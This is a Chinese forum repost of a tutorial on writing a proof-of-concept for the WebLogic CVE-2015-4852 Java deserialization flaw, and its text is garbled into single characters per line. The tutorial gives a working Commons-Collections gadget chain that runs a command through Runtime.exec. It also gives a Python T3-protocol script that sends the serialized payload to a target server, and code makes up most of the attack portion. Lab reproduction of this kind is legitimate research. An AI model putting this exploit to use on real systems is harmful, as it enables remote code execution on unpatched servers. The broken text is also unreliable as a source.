论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
逆向
[27046] 2020-07-20_手把手教你写JAVA反序列化的POC
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-19
逆向
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2020-07-20_手把手教你写JAVA反序列化的POC
手
把
手
教
你
写
J
A
V
A
反
序
列
化
的
P
O
C
M
s
0
8
0
6
7
安
全
实
验
室
2
0
2
0
-
0
7
-
2
0
以
下
文
章
来
源
于
一
个
安
全
研
究
员
,
作
者
t
n
t
阿
信
0
x
0
1
前
言
前
言
前
面
,
我
们
了
解
了
j
a
v
a
的
序
列
化
机
制
,
也
知
道
在
什
么
情
况
下
会
出
现
漏
洞
,
为
了
对
反
序
列
化
漏
洞
有
个
更
直
观
的
认
识
,
这
里
就
来
说
一
说
存
在
于
a
p
a
c
h
e
c
o
m
m
o
n
s
-
c
o
l
l
e
c
t
i
o
n
s
.
j
a
r
中
的
一
条
p
o
p
链
,
要
知
道
这
个
类
库
使
用
广
泛
,
所
以
很
多
大
型
的
应
用
也
存
在
着
这
个
漏
洞
,
我
这
里
就
以
w
e
b
l
o
g
i
c
c
v
e
-
2
0
1
5
-
4
8
5
2
来
说
说
反
序
列
化
漏
洞
的
具
体
利
用
方
法
。
在
复
现
分
析
c
v
e
-
2
0
1
5
-
4
8
5
2
的
过
程
中
,
踩
了
挺
多
坑
的
,
网
上
基
本
没
有
复
现
c
v
e
-
2
0
1
5
-
4
8
5
2
的
,
都
是
一
句
“
没
有
任
何
防
御
措
施
,
可
以
直
接
拿
着
y
s
o
s
e
r
i
a
l
的
p
a
y
l
o
a
d
打
”
.
.
.
.
.
但
是
我
在
复
现
的
过
程
中
发
现
W
e
b
l
o
g
i
c
运
行
在
j
d
k
7
与
j
d
k
8
下
是
不
一
样
的
,
在
j
d
k
8
下
有
些
y
s
o
s
e
r
i
a
l
中
的
p
a
y
l
o
a
d
不
能
正
常
使
用
,
例
如
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
1
,
而
且
我
复
现
的
w
e
b
l
o
g
i
c
版
本
是
w
e
b
l
o
g
i
c
1
0
.
3
.
6
,
它
使
用
的
c
o
m
m
o
n
s
-
c
o
l
l
e
c
t
i
o
n
s
版
本
为
3
.
2
.
0
,
y
s
o
s
e
r
i
a
l
中
的
很
多
p
a
y
l
o
a
d
都
是
3
.
1
的
,
没
有
仔
细
去
研
究
这
个
版
本
差
异
是
不
是
导
致
反
序
列
化
失
败
的
原
因
之
一
,
只
是
顺
带
一
提
0
x
0
2
复
现
复
现
复
现
环
境
:
w
e
b
l
o
g
i
c
1
0
.
3
.
6
j
d
k
1
.
7
由
于
y
s
o
s
e
r
i
a
l
上
的
p
a
y
l
o
a
d
s
不
太
好
用
,
我
只
有
照
猫
画
虎
自
己
写
一
个
代
码
生
成
p
a
y
l
o
d
j
a
v
a
p
o
c
:
6
.
1
2
.
1
3
.
一
个
安
全
研
究
员
一
个
安
全
研
究
员
.
一
个
帅
小
伙
儿
和
一
群
靓
仔
、
靓
女
的
聚
集
地
1
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
*
;
2
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
;
3
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
;
4
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
;
5
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
m
a
p
.
T
r
a
n
s
f
o
r
m
e
d
M
a
p
;
7
.
i
m
p
o
r
t
j
a
v
a
.
i
o
.
*
;
8
.
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
a
n
n
o
t
a
t
i
o
n
.
R
e
t
e
n
t
i
o
n
;
9
.
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
C
o
n
s
t
r
u
c
t
o
r
;
1
0
.
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
H
a
s
h
M
a
p
;
1
1
.
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
M
a
p
;
1
4
.
p
u
b
l
i
c
c
l
a
s
s
P
O
C
2
{
2
2
.
2
4
.
2
7
.
2
9
.
3
3
.
运
行
这
个
p
o
c
之
前
需
要
c
o
m
m
o
n
s
-
c
o
l
l
e
c
t
i
o
n
s
类
库
,
否
则
会
提
示
很
多
类
找
不
到
,
由
于
我
是
在
本
地
复
现
,
可
以
直
接
在
i
d
e
a
中
将
w
e
b
l
g
o
i
c
中
的
1
4
.
p
u
b
l
i
c
c
l
a
s
s
P
O
C
2
{
1
5
.
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
1
6
.
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
_
e
x
e
c
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
1
7
.
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
1
8
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
1
9
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
2
0
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
w
i
r
e
s
h
a
r
k
"
}
)
2
1
.
}
;
2
3
.
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
t
r
a
n
s
f
o
r
m
e
r
s
_
e
x
e
c
)
;
2
5
.
H
a
s
h
M
a
p
i
n
n
e
r
M
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
2
6
.
i
n
n
e
r
M
a
p
.
p
u
t
(
"
v
a
l
u
e
"
,
"
a
s
d
f
"
)
;
2
8
.
M
a
p
o
u
t
e
r
M
a
p
=
T
r
a
n
s
f
o
r
m
e
d
M
a
p
.
d
e
c
o
r
a
t
e
(
i
n
n
e
r
M
a
p
,
n
u
l
l
,
c
h
a
i
n
)
;
3
0
.
C
l
a
s
s
c
l
a
z
z
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
s
u
n
.
r
e
f
l
e
c
t
.
a
n
n
o
t
a
t
i
o
n
.
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
"
)
;
3
1
.
C
o
n
s
t
r
u
c
t
o
r
c
o
n
s
=
c
l
a
z
z
.
g
e
t
D
e
c
l
a
r
e
d
C
o
n
s
t
r
u
c
t
o
r
(
C
l
a
s
s
.
c
l
a
s
s
,
M
a
p
.
c
l
a
s
s
)
;
3
2
.
c
o
n
s
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
3
4
.
O
b
j
e
c
t
i
n
s
=
c
o
n
s
.
n
e
w
I
n
s
t
a
n
c
e
(
j
a
v
a
.
l
a
n
g
.
a
n
n
o
t
a
t
i
o
n
.
R
e
t
e
n
t
i
o
n
.
c
l
a
s
s
,
o
u
t
e
r
M
a
p
)
;
3
5
.
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
f
o
s
=
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
.
/
p
o
c
.
s
e
r
"
)
;
3
6
.
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
s
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
f
o
s
)
;
3
7
.
o
s
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
)
;
3
8
.
/
/
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
b
a
o
s
=
n
e
w
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
3
9
.
/
/
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
o
s
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
b
a
o
s
)
;
4
0
.
/
/
o
o
s
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
)
;
4
1
.
/
/
o
o
s
.
f
l
u
s
h
(
)
;
4
2
.
/
/
o
o
s
.
c
l
o
s
e
(
)
;
4
3
.
/
/
4
4
.
/
/
B
y
t
e
A
r
r
a
y
I
n
p
u
t
S
t
r
e
a
m
b
a
i
s
=
n
e
w
B
y
t
e
A
r
r
a
y
I
n
p
u
t
S
t
r
e
a
m
(
b
a
o
s
.
t
o
B
y
t
e
A
r
r
a
y
(
)
)
;
4
5
.
/
/
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
o
i
s
=
n
e
w
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
(
b
a
i
s
)
;
4
6
.
/
/
O
b
j
e
c
t
o
b
j
=
(
O
b
j
e
c
t
)
o
i
s
.
r
e
a
d
O
b
j
e
c
t
(
)
;
4
7
.
}
4
8
.
}
加
入
到
l
i
b
中
,
具
体
操
作
参
考
:
h
t
t
p
s
:
/
/
b
l
o
g
.
c
s
d
n
.
n
e
t
/
h
e
_
a
n
d
/
a
r
t
i
c
l
e
/
d
e
t
a
i
l
s
/
8
9
8
4
3
0
0
4
然
后
运
行
该
p
o
c
,
会
在
当
前
目
录
下
生
成
p
o
c
.
s
e
r
文
件
,
这
个
文
件
中
就
存
放
着
序
列
化
后
的
p
a
y
l
o
a
d
,
现
在
p
a
y
l
o
a
d
有
了
,
我
们
还
需
要
发
送
给
w
e
b
l
o
g
i
c
,
w
e
b
l
o
g
i
c
有
一
个
t
3
协
议
,
这
个
协
议
依
赖
于
序
列
化
与
反
序
列
化
机
制
,
所
以
,
我
们
只
要
按
照
t
3
协
议
的
格
式
,
把
p
a
y
l
o
a
d
发
送
到
w
e
b
l
o
g
i
c
,
w
e
b
l
o
g
i
c
就
会
反
序
列
化
我
们
的
恶
意
p
a
y
l
o
a
d
,
从
而
执
行
指
定
的
命
令
,
t
3
协
议
脚
本
:
5
.
7
.
1
1
.
1
6
.
1
9
.
2
1
.
2
5
.
2
8
.
c
o
m
.
b
e
a
.
c
o
r
e
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
_
3
.
2
.
0
.
j
a
r
1
.
#
!
/
u
s
r
/
b
i
n
/
p
y
t
h
o
n
2
.
i
m
p
o
r
t
s
o
c
k
e
t
3
.
i
m
p
o
r
t
s
y
s
4
.
i
m
p
o
r
t
s
t
r
u
c
t
6
.
s
o
c
k
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
8
.
s
e
r
v
e
r
_
a
d
d
r
e
s
s
=
(
s
y
s
.
a
r
g
v
[
1
]
,
i
n
t
(
s
y
s
.
a
r
g
v
[
2
]
)
)
9
.
p
r
i
n
t
'
c
o
n
n
e
c
t
i
n
g
t
o
%
s
p
o
r
t
%
s
'
%
s
e
r
v
e
r
_
a
d
d
r
e
s
s
1
0
.
s
o
c
k
.
c
o
n
n
e
c
t
(
s
e
r
v
e
r
_
a
d
d
r
e
s
s
)
1
2
.
#
S
e
n
d
h
e
a
d
e
r
s
1
3
.
h
e
a
d
e
r
s
=
'
t
3
1
2
.
2
.
1
n
A
S
:
2
5
5
n
H
L
:
1
9
n
M
S
:
1
0
0
0
0
0
0
0
n
P
U
:
t
3
:
/
/
u
s
-
l
-
b
r
e
e
n
s
:
7
0
0
1
n
n
'
1
4
.
p
r
i
n
t
'
s
e
n
d
i
n
g
"
%
s
"
'
%
h
e
a
d
e
r
s
1
5
.
s
o
c
k
.
s
e
n
d
a
l
l
(
h
e
a
d
e
r
s
)
1
7
.
d
a
t
a
=
s
o
c
k
.
r
e
c
v
(
1
0
2
4
)
1
8
.
p
r
i
n
t
>
>
s
y
s
.
s
t
d
e
r
r
,
'
r
e
c
e
i
v
e
d
"
%
s
"
'
%
d
a
t
a
2
0
.
p
a
y
l
o
a
d
O
b
j
=
o
p
e
n
(
s
y
s
.
a
r
g
v
[
3
]
,
'
r
b
'
)
.
r
e
a
d
(
)
2
2
.
p
a
y
l
o
a
d
=
'
x
0
0
x
0
0
x
0
9
x
f
3
x
0
1
x
6
5
x
0
1
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
0
0
x
0
0
x
0
0
x
7
1
x
0
0
x
0
0
x
e
a
x
6
0
x
0
0
x
0
0
x
0
0
x
1
8
x
4
3
x
2
e
x
c
6
x
a
2
x
a
6
x
3
9
x
8
5
x
b
5
x
a
f
x
7
d
x
6
3
x
e
6
x
4
3
x
8
3
x
f
4
x
2
a
x
6
d
x
9
2
x
c
9
x
e
9
x
a
f
x
0
f
x
9
4
x
7
2
x
0
2
x
7
9
x
7
3
x
7
2
x
0
0
x
7
8
x
7
2
x
0
1
x
7
8
x
7
2
x
0
2
x
7
8
x
7
0
x
0
0
x
0
0
x
0
0
x
0
c
x
0
0
x
0
0
x
0
0
x
0
2
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
1
x
0
0
x
7
0
x
7
0
x
7
0
x
7
0
x
7
0
x
7
0
x
0
0
x
0
0
x
0
0
x
0
c
x
0
0
x
0
0
x
0
0
x
0
2
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
1
x
0
0
x
7
0
x
0
6
x
f
e
x
0
1
x
0
0
x
0
0
x
a
c
x
e
d
x
0
0
x
0
5
x
7
3
x
7
2
x
0
0
x
1
d
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
7
2
x
6
a
x
7
6
x
6
d
x
2
e
x
4
3
x
6
c
x
6
1
x
7
3
x
7
3
x
5
4
x
6
1
x
6
2
x
6
c
x
6
5
x
4
5
x
6
e
x
7
4
x
7
2
x
7
9
x
2
f
x
5
2
x
6
5
x
8
1
x
5
7
x
f
4
x
f
9
x
e
d
x
0
c
x
0
0
x
0
0
x
7
8
x
7
0
x
7
2
x
0
0
x
2
4
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
6
3
x
6
f
x
6
d
x
6
d
x
6
f
x
6
e
x
2
e
x
6
9
x
6
e
x
7
4
x
6
5
x
7
2
x
6
e
x
6
1
x
6
c
x
2
e
x
5
0
x
6
1
x
6
3
x
6
b
x
6
1
x
6
7
x
6
5
x
4
9
x
6
e
x
6
6
x
6
f
x
e
6
x
f
7
x
2
3
x
e
7
x
b
8
x
a
e
x
1
e
x
c
9
x
0
2
x
0
0
x
0
9
x
4
9
x
0
0
x
0
5
x
6
d
x
6
1
x
6
a
x
6
f
x
7
2
x
4
9
x
0
0
x
0
5
x
6
d
x
6
9
x
6
e
x
6
f
x
7
2
x
4
9
x
0
0
x
0
b
x
7
0
x
6
1
x
7
4
x
6
3
x
6
8
x
5
5
x
7
0
x
6
4
x
6
1
x
7
4
x
6
5
x
4
9
x
0
0
x
0
c
x
7
2
x
6
f
x
6
c
x
6
c
x
6
9
x
6
e
x
6
7
x
5
0
x
6
1
x
7
4
x
6
3
x
6
8
x
4
9
x
0
0
x
0
b
x
7
3
x
6
5
x
7
2
x
7
6
x
6
9
x
6
3
x
6
5
x
5
0
x
6
1
x
6
3
x
6
b
x
5
a
x
0
0
x
0
e
x
7
4
x
6
5
x
6
d
x
7
0
x
6
f
x
7
2
x
6
1
x
7
2
x
7
9
x
5
0
x
6
1
x
7
4
x
6
3
x
6
8
x
4
c
x
0
0
x
0
9
x
6
9
x
6
d
x
7
0
x
6
c
x
5
4
x
6
9
x
7
4
x
6
c
x
6
5
x
7
4
x
0
0
x
1
2
x
4
c
x
6
a
x
6
1
x
7
6
x
6
1
x
2
f
x
6
c
x
6
1
x
6
e
x
6
7
x
2
f
x
5
3
x
7
4
x
7
2
x
6
9
x
6
e
x
6
7
x
3
b
x
4
c
x
0
0
x
0
a
x
6
9
x
6
d
x
7
0
x
6
c
x
5
6
x
6
5
x
6
e
x
6
4
x
6
f
x
7
2
x
7
1
x
0
0
x
7
e
x
0
0
x
0
3
x
4
c
x
0
0
x
0
b
x
6
9
x
6
d
x
7
0
x
6
c
x
5
6
x
6
5
x
7
2
x
7
3
x
6
9
x
6
f
x
6
e
x
7
1
x
0
0
x
7
e
x
0
0
x
0
3
x
7
8
x
7
0
x
7
7
x
0
2
x
0
0
x
0
0
x
7
8
x
f
e
x
0
1
x
0
0
x
0
0
'
2
3
.
p
a
y
l
o
a
d
=
p
a
y
l
o
a
d
+
p
a
y
l
o
a
d
O
b
j
2
4
.
p
a
y
l
o
a
d
=
p
a
y
l
o
a
d
+
'
x
f
e
x
0
1
x
0
0
x
0
0
x
a
c
x
e
d
x
0
0
x
0
5
x
7
3
x
7
2
x
0
0
x
1
d
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
7
2
x
6
a
x
7
6
x
6
d
x
2
e
x
4
3
x
6
c
x
6
1
x
7
3
x
7
3
x
5
4
x
6
1
x
6
2
x
6
c
x
6
5
x
4
5
x
6
e
x
7
4
x
7
2
x
7
9
x
2
f
x
5
2
x
6
5
x
8
1
x
5
7
x
f
4
x
f
9
x
e
d
x
0
c
x
0
0
x
0
0
x
7
8
x
7
0
x
7
2
x
0
0
x
2
1
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
6
3
x
6
f
x
6
d
x
6
d
x
6
f
x
6
e
x
2
e
x
6
9
x
6
e
x
7
4
x
6
5
x
7
2
x
6
e
x
6
1
x
6
c
x
2
e
x
5
0
x
6
5
x
6
5
x
7
2
x
4
9
x
6
e
x
6
6
x
6
f
x
5
8
x
5
4
x
7
4
x
f
3
x
9
b
x
c
9
x
0
8
x
f
1
x
0
2
x
0
0
x
0
7
x
4
9
x
0
0
x
0
5
x
6
d
x
6
1
x
6
a
x
6
f
x
7
2
x
4
9
x
0
0
x
0
5
x
6
d
x
6
9
x
6
e
x
6
f
x
7
2
x
4
9
x
0
0
x
0
b
x
7
0
x
6
1
x
7
4
x
6
3
x
6
8
x
5
5
x
7
0
x
6
4
x
6
1
x
7
4
x
6
5
x
4
9
x
0
0
x
0
c
x
7
2
x
6
f
x
6
c
x
6
c
x
6
9
x
6
e
x
6
7
x
5
0
x
6
1
x
7
4
x
6
3
x
6
8
x
4
9
x
0
0
x
0
b
x
7
3
x
6
5
x
7
2
x
7
6
x
6
9
x
6
3
x
6
5
x
5
0
x
6
1
x
6
3
x
6
b
x
5
a
x
0
0
x
0
e
x
7
4
x
6
5
x
6
d
x
7
0
x
6
f
x
7
2
x
6
1
x
7
2
x
7
9
x
5
0
x
6
1
x
7
4
x
6
3
x
6
8
x
5
b
x
0
0
x
0
8
x
7
0
x
6
1
x
6
3
x
6
b
x
6
1
x
6
7
x
6
5
x
7
3
x
7
4
x
0
0
x
2
7
x
5
b
x
4
c
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
f
x
6
3
x
6
f
x
6
d
x
6
d
x
6
f
x
6
e
x
2
f
x
6
9
x
6
e
x
7
4
x
6
5
x
7
2
x
6
e
x
6
1
x
6
c
x
2
f
x
5
0
x
6
1
x
6
3
x
6
b
x
6
1
x
6
7
x
6
5
x
4
9
x
6
e
x
6
6
x
6
f
x
3
b
x
7
8
x
7
2
x
0
0
x
2
4
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
6
3
x
6
f
x
6
d
x
6
d
x
6
f
x
6
e
x
2
e
x
6
9
x
6
e
x
7
4
x
6
5
x
7
2
x
6
e
x
6
1
x
6
c
x
2
e
x
5
6
x
6
5
x
7
2
x
7
3
x
6
9
x
6
f
x
6
e
x
4
9
x
6
e
x
6
6
x
6
f
x
9
7
x
2
2
x
4
5
x
5
1
x
6
4
x
5
2
x
4
6
x
3
e
x
0
2
x
0
0
x
0
3
x
5
b
x
0
0
x
0
8
x
7
0
x
6
1
x
6
3
x
6
b
x
6
1
x
6
7
x
6
5
x
7
3
x
7
1
x
0
0
x
7
e
x
0
0
x
0
3
x
4
c
x
0
0
x
0
e
x
7
2
x
6
5
x
6
c
x
6
5
x
6
1
x
7
3
x
6
5
x
5
6
x
6
5
x
7
2
x
7
3
x
6
9
x
6
f
x
6
e
x
7
4
x
0
0
x
1
2
x
4
c
x
6
a
x
6
1
x
7
6
x
6
1
x
2
f
x
6
c
x
6
1
x
6
e
x
6
7
x
2
f
x
5
3
x
7
4
x
7
2
x
6
9
x
6
e
x
6
7
x
3
b
x
5
b
x
0
0
x
1
2
x
7
6
x
6
5
x
7
2
x
7
3
x
6
9
x
6
f
x
6
e
x
4
9
x
6
e
x
6
6
x
6
f
x
4
1
x
7
3
x
4
2
x
7
9
x
7
4
x
6
5
x
7
3
x
7
4
x
0
0
x
0
2
x
5
b
x
4
2
x
7
8
x
7
2
x
0
0
x
2
4
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
6
3
x
6
f
x
6
d
x
6
d
x
6
f
x
6
e
x
2
e
x
6
9
x
6
e
x
7
4
x
6
5
x
7
2
x
6
e
x
6
1
x
6
c
x
2
e
x
5
0
x
6
1
x
6
3
x
6
b
x
6
1
x
6
7
x
6
5
x
4
9
x
6
e
x
6
6
x
6
f
x
e
6
x
f
7
x
2
3
x
e
7
x
b
8
x
a
e
x
1
e
x
c
9
x
0
2
x
0
0
x
0
9
x
4
9
x
0
0
x
0
5
x
6
d
x
6
1
x
6
a
x
6
f
x
7
2
x
4
9
x
0
0
x
0
5
x
6
d
x
6
9
x
6
e
x
6
f
x
7
2
x
4
9
x
0
0
x
0
b
x
7
0
x
6
1
x
7
4
x
6
3
x
6
8
x
5
5
x
7
0
x
6
4
x
6
1
x
7
4
x
6
5
x
4
9
x
0
0
x
0
c
x
7
2
x
6
f
x
6
c
x
6
c
x
6
9
x
6
e
x
6
7
x
5
0
x
6
1
x
7
4
x
6
3
x
6
8
x
4
9
x
0
0
x
0
b
x
7
3
x
6
5
x
7
2
x
7
6
x
6
9
x
6
3
x
6
5
x
5
0
x
6
1
x
6
3
x
6
b
x
5
a
x
0
0
x
0
e
x
7
4
x
6
5
x
6
d
x
7
0
x
6
f
x
7
2
x
6
1
x
7
2
x
7
9
x
5
0
x
6
1
x
7
4
x
6
3
x
6
8
x
4
c
x
0
0
x
0
9
x
6
9
x
6
d
x
7
0
x
6
c
x
5
4
x
6
9
x
7
4
x
6
c
x
6
5
x
7
1
x
0
0
x
7
e
x
0
0
x
0
5
x
4
c
x
0
0
x
0
a
x
6
9
x
6
d
x
7
0
x
6
c
x
5
6
x
6
5
x
6
e
x
6
4
x
6
f
x
7
2
x
7
1
x
0
0
x
7
e
x
0
0
x
0
5
x
4
c
x
0
0
x
0
b
x
6
9
x
6
d
x
7
0
x
6
c
x
5
6
x
6
5
x
7
2
x
7
3
x
6
9
x
6
f
x
6
e
x
7
1
x
0
0
x
7
e
x
0
0
x
0
5
x
7
8
x
7
0
x
7
7
x
0
2
x
0
0
x
0
0
x
7
8
x
f
e
x
0
0
x
f
f
x
f
e
x
0
1
x
0
0
x
0
0
x
a
c
x
e
d
x
0
0
x
0
5
x
7
3
x
7
2
x
0
0
x
1
3
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
7
2
x
6
a
x
7
6
x
6
d
x
2
e
x
4
a
x
5
6
x
4
d
x
4
9
x
4
4
x
d
c
x
4
9
x
c
2
x
3
e
x
d
e
x
1
2
x
1
e
x
2
a
x
0
c
x
0
0
x
0
0
x
7
8
x
7
0
x
7
7
x
4
6
x
2
1
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
0
9
x
3
1
x
3
2
x
3
7
x
2
e
x
3
0
x
2
e
x
3
1
x
2
e
x
3
1
x
0
0
x
0
b
x
7
5
x
7
3
x
2
d
x
6
c
x
2
d
x
6
2
x
7
2
x
6
5
x
6
5
x
6
e
x
7
3
x
a
5
x
3
c
x
a
f
x
f
1
x
0
0
x
0
0
x
0
0
x
0
7
x
0
0
x
0
0
x
1
b
x
5
9
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
f
f
x
0
0
x
7
8
x
f
e
x
0
1
x
0
0
x
0
0
x
a
c
x
e
d
x
0
0
x
0
5
x
7
3
x
7
2
x
0
0
x
1
3
x
7
7
x
6
5
x
6
2
x
6
c
x
6
f
x
6
7
x
6
9
x
6
3
x
2
e
x
7
2
x
6
a
x
7
6
x
6
d
x
2
e
x
4
a
x
5
6
x
4
d
x
4
9
x
4
4
x
d
c
x
4
9
x
c
2
x
3
e
x
d
e
x
1
2
x
1
e
x
2
a
x
0
c
x
0
0
x
0
0
x
7
8
x
7
0
x
7
7
x
1
d
x
0
1
x
8
1
x
4
0
x
1
2
x
8
1
x
3
4
x
b
f
x
4
2
x
7
6
x
0
0
x
0
9
x
3
1
x
3
2
x
3
7
x
2
e
x
3
0
x
2
e
x
3
1
x
2
e
x
3
1
x
a
5
x
3
c
x
a
f
x
f
1
x
0
0
x
0
0
x
0
0
x
0
0
x
0
0
x
7
8
'
2
6
.
#
a
d
j
u
s
t
h
e
a
d
e
r
f
o
r
a
p
p
r
o
p
r
i
a
t
e
m
e
s
s
a
g
e
l
e
n
g
t
h
2
7
.
p
a
y
l
o
a
d
=
"
{
0
}
{
1
}
"
.
f
o
r
m
a
t
(
s
t
r
u
c
t
.
p
a
c
k
(
'
!
i
'
,
l
e
n
(
p
a
y
l
o
a
d
)
)
,
p
a
y
l
o
a
d
[
4
:
]
)
2
9
.
p
r
i
n
t
'
s
e
n
d
i
n
g
p
a
y
l
o
a
d
.
.
.
'
3
0
.
s
o
c
k
.
s
e
n
d
(
p
a
y
l
o
a
d
)
上
面
的
脚
本
是
p
y
2
版
本
的
,
p
y
t
h
o
n
3
需
要
稍
微
改
动
一
下
。
执
行
以
下
命
令
发
送
p
a
y
l
o
a
d
:
成
功
弹
出
w
i
r
e
s
h
a
r
k
进
一
步
了
解
t
3
协
议
可
以
参
考
我
的
另
一
篇
文
章
:
h
t
t
p
s
:
/
/
b
l
o
g
.
c
s
d
n
.
n
e
t
/
h
e
_
a
n
d
/
a
r
t
i
c
l
e
/
d
e
t
a
i
l
s
/
9
7
9
2
4
6
7
9
0
x
0
3
c
o
m
m
o
n
s
-
c
o
l
l
e
c
t
i
o
n
s
g
a
d
g
e
t
s
分
析
分
析
上
面
的
复
现
使
用
的
p
a
y
l
o
a
d
经
过
反
序
列
化
过
后
会
执
行
:
具
体
是
怎
么
做
到
的
呢
?
我
们
不
妨
根
据
给
出
的
p
o
c
来
摸
索
一
下
这
条
利
用
链
的
挖
掘
过
程
,
先
把
目
光
放
到
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
这
个
类
上
,
注
意
这
个
类
的
t
r
a
n
s
f
o
r
m
方
法
:
p
y
t
h
o
n
w
e
b
l
o
g
i
c
-
t
3
.
p
y
i
p
p
o
r
t
存
放
p
a
y
l
o
a
d
的
文
件
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
"
